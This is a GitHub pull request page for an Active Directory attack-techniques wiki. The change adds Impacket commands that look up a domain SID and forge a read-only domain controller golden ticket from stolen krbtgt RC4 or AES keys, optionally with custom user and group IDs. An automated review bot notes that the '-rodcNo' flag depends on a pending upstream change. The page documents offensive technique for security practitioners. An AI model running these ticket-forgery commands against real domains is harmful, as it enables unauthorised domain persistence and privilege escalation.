Add UNIX-like commands for RODC golden ticket#264
Merged
Conversation
Contributor
Review Summary by QodoAdd UNIX-like RODC golden ticket creation documentation
WalkthroughsDescription• Add UNIX-like commands for RODC golden ticket creation • Document Impacket scripts for domain SID retrieval • Provide examples with RC4 and AES key variants • Include custom user/groups IDs configuration example Diagramflowchart LR
A["RODC Golden Ticket<br/>Documentation"] --> B["Find Domain SID<br/>lookupsid.py"]
A --> C["Create Ticket<br/>ticketer.py"]
C --> D["RC4 Key<br/>-nthash"]
C --> E["AES Key<br/>-aesKey"]
C --> F["Custom IDs<br/>-user-id -groups"]
File Changes1. docs/src/ad/movement/kerberos/forged-tickets/rodc-golden-tickets.md
|
Contributor
Code Review by Qodo
|
![qodo-code-review[bot]](https://avatars.githubusercontent.com/in/484649?s=60&v=4){kind=small}
Comment on lines
+21
to
+37
| > [!NOTE] | ||
| > _At the time of writing, 15th Apr. 2026,_ [_the pull request_](https://github.com/fortra/impacket/pull/2169) _adding the `-rodcNo` is pending._ | ||
|
|
||
| There are [Impacket](https://github.com/fortra/impacket) scripts for each step of a golden ticket creation : retrieving the domain SID, creating the RODC golden ticket. | ||
|
|
||
| ```bash | ||
| # Find the domain SID | ||
| lookupsid.py -hashes 'LMhash:NThash' 'DOMAIN/DomainUser@DomainController' 0 | ||
|
|
||
| # Create the RODC golden ticket (with an RC4 key, i.e. NT hash) | ||
| ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" "randomuser" | ||
|
|
||
| # Create the RODC golden ticket (with an AES 128/256bits key) | ||
| ticketer.py -aesKey "$krbtgtAESkey" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" "randomuser" | ||
|
|
||
| # Create the RODC golden ticket (with an RC4 key, i.e. NT hash) with custom user/groups ids | ||
| ticketer.py -nthash "$krbtgtNThash" -domain-sid "$domainSID" -domain "$DOMAIN" -rodcNo "$RODC_NUMBER" -user-id "$USERID" -groups "$GROUPID1,$GROUPID2,..." "randomuser" |
Contributor
There was a problem hiding this comment.
1. -rodcno used while pending 📘 Rule violation ≡ Correctness
The UNIX-like CLI examples use the ticketer.py -rodcNo flag while the surrounding note states the upstream PR adding -rodcNo is still pending, making these commands likely non-functional when copy/pasted. This violates the requirement that example commands use valid syntax/flags aligned with the described intent.
Agent Prompt
## Issue description
The doc states the upstream Impacket PR adding `-rodcNo` is pending, but the example commands require `-rodcNo`, so copy/paste usage will likely fail.
## Issue Context
This page is reader-facing documentation and the compliance checklist requires example commands to match described intent and use valid syntax/flags.
## Fix Focus Areas
- docs/src/ad/movement/kerberos/forged-tickets/rodc-golden-tickets.md[21-37]
ⓘ Copy this prompt and use it to remediate the issue with your preferred AI generation tools
ShutdownRepo
approved these changes
May 25, 2026
Collaborator
|
thank you for this contribution |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
2 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hi,
https://github.com/Greylorn did a pull request to impacket, adding new flag "-rodcNo" to ticketer.py, making RODC golden ticket doable from linux.
fortra/impacket#2169